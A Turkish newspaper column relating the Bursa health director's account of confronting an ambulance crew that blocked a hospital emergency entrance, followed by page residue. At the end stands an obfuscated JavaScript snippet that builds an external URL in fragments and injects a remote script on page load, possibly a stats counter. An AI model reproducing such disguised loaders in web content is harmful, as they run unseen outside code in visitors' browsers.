Gündem

'Ben sağlık müdürüyüm, belki beni tanırsınız veya tanımazsınız'

Dün Bursa İl Sağlık Müdürü Dr. Fevzi Yavuzyılmaz’la ilgili kaleme aldığım yazı bir hayli ilgi çekmişti. Yaptığım çağrıda, “Bursa İl Sağlık Müdürü Dr. Fevzi Yavuzyılmaz, doğru mu bunlar?” başlığını kullanmıştım.

Abone Ol

Belirtilenlere, aktarılanlara göre,

Yavuzyılmaz Hoca’nın, Şevket Yılmaz Hastanesi aciline ambulansla getirilen bir yakınının, öndeki başka bir ambulansın çıkış yapmamasından dolayı, içindeki sağlıkçıları azarladığı iddia edilmişti.

Bu olayla ilgili bana gelen bilgiler doğrultusunda, İl Sağlık Müdürü Dr. Fevzi Yavuzyılmaz’ın yaşanan hadiseyi aydınlatmasını, böyle bir skandalın yaşanıp yaşanmadığını açıklamasını istemiştim.

Sağ olsun Yavuzyılmaz Hoca aradı ve…

O malum ambulansın içinde yakını, komşusu, akrabası olmadığını çok net bir dille ifade etti.

Hastaneye başka bir sebeple geldiğini, gördükleri karşısında da kayıtsız kalamadığını, kalamayacağını aktardı.

Öncelikle şu hususa dikkat çekelim, liyakatsizlik sorunu, birçok kurumu istila ettiğini sürekli gündeme getiriyorum.

Buradan yola çıkarak, bu acı gerçeği ortadan kaldırmak için ferasetli adımlar atmakla birlikte, kurumların başına getirilen “sağlam iradeli yöneticilere” de sahip çıkmak, destek vermek gerekiyor.

Gelelim malum mevzuya.

Bursa İl Sağlık Müdürü Dr. Fevzi Yavuzyılmaz’la yaptığım telefon konuşmasında, o gün hastane acilinde yaşadığı ibretlik hadiseyi sizlerle paylaşıyorum:

“Farklı bir iş için Şevket Yılmaz Hastanesi’ne kendi kullandığı otomobiliyle gelen Yavuzyılmaz, acilin önünde kendisini onlarca araçtan oluşan kuyrukta bulur.

Acil kapısı girişinde bulunan ambulanstaki sağlıkçılar hastayı teslim etmelerine rağmen, içeriden gelecek ekip arkadaşını bekleyince, arkada oluşan araç kuyruğunu düşünmemeleri sonucunda bu olay gerçekleşmiş. Yavuzyılmaz ilk önce güvenlik görevlilerini yönlendirerek ambulansı başka bir yere çekmelerini, arkada tespih tanesi gibi dizilmiş araçları bekletmeye haklarının olmadığını ve yolu açmalarını söyletmiş.

Sonra ne olmuş biliyor musunuz, güvenlik görevlileri uyarılarını sağlık ekibine iletince, aralarında ufak bir sürtüşme yaşanmış ve nihayetinde ambulans oradan ayrılarak alt tarafta bulunan 112 acil merkezi önüne geldiğinde Yavuzyılmaz Hoca, kendi otomobiliyle ekibi takip ederek durdurmuş.

Hoca, ambulansın içinde oturan görevlilere, “Ben sağlık müdürüyüm, belki beni tanırsınız veya tanımazsınız. O arkanızda bekleyen araçların arasında ben de vardım. Bu önemli değil ama arkanızda 10 tane araç ve bir ambulans bekliyordu. Eğer işiniz bittiyse ve bir park yeri bulamadıysanız hastane etrafında bir tur atın, gelin arkadaşınızı alın. “Biz ambulansın direksiyonuna geçtik” diyerek, insanları bekletmeye, telaşa sokma hakkına sahip değilsiniz. Acil bir durum varsa, hasta varsa bunlar istisna. Ama siz işinizi bitirmişsiniz, iki kişi arabanın önünde oturuyorsunuz, üçüncü arkadaşınızın gelmesini bekliyorsunuz. O arkanızdaki 10 tane aracın içinde, hasta veya bir şekilde acile gelmek zorunda kalan, en az iki kişi olsa toplamında 30’a yakın insan sizi beklemek zorunda değil, burası hastane kapısı” diyerek uyarmış.

Hatta ilgili 112’den sorumlu müdür yardımcısı haklarında işlem başlatalım mı diye sorunca, “uyarımız yeterlidir, önemli olan üzüm yemek. Biz arkadaşlara ceza verelim derdinde değiliz. Böyle bir hadisenin bir daha yapılmamasını sağlamakla mükellefiz” demiş.

“Burada yanlış olan ne var? Eğer uyarmasaydım esas yanlışı o zaman yapmış olmaz mıydım?”

Yani yaşanan olay kısaca böyle cereyan etmiş.

Hastane acili önünde işleri bittiği halde  sorumsuzca bekleyen, vatandaş sağlıkçılara tepki göstermekten çekindiği, yanlış anlaşılacağı için rahat hareket eden bir ekip!

Anlaşılan Fevzi Yavuzyılmaz’ın denetleyici, teftişçi, herkesin işini dürüstçe yapmasıyla ilgili adımları, bazılarının huzurunu bozunca, kinlenme ve nefret hortlamış.

Herkes kendisine verilen görevi en iyi şekilde yapmak zorunda.

Selayet ve yetki verilince şımarmamak gibi.

Örneğin, ambulans şoförü olunca da, sağlıkçı olunca da, miadının, miladının dolacağını bilmek gerekiyor.

Tabi ki, amiri, müdürü, şefi de emrinde çalışanların çalışma azimlerini arttıracak şekilde hareket etmeliler.

Şunun, bunun torpiliyle devletin çatısı altına sıvıştım, bana kimse dokunamaz düşüncesi asla kabul edilemez.

Hele vatandaşı anasından doğduğuna pişman eden, isyan ettiren hareketlerde bulunmak insan olana yakışmaz.

Ayrıca Bursa İl Sağlık Müdürü Dr. Fevzi Yavuzyılmaz, Balıkesir’de görev yaptığı süre içerisinde de birilerinin liyakatsiz damarına basmış, dolayısıyla oradan ayrılınca, 41 Yasin yerine, bu kişiler tef çalıp oynamış.

Bu arada,

Yavuzyılmaz beni hayrete düşüren, sevindiren, şaşırtan daha çok şey anlattı.

Kısmet olursa bir gün yazar, Bursa’da birilerinin kıskanmasına, toparlanmasına vesile oluruz.

Bilal KAYAALTI / Bavul Haber

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }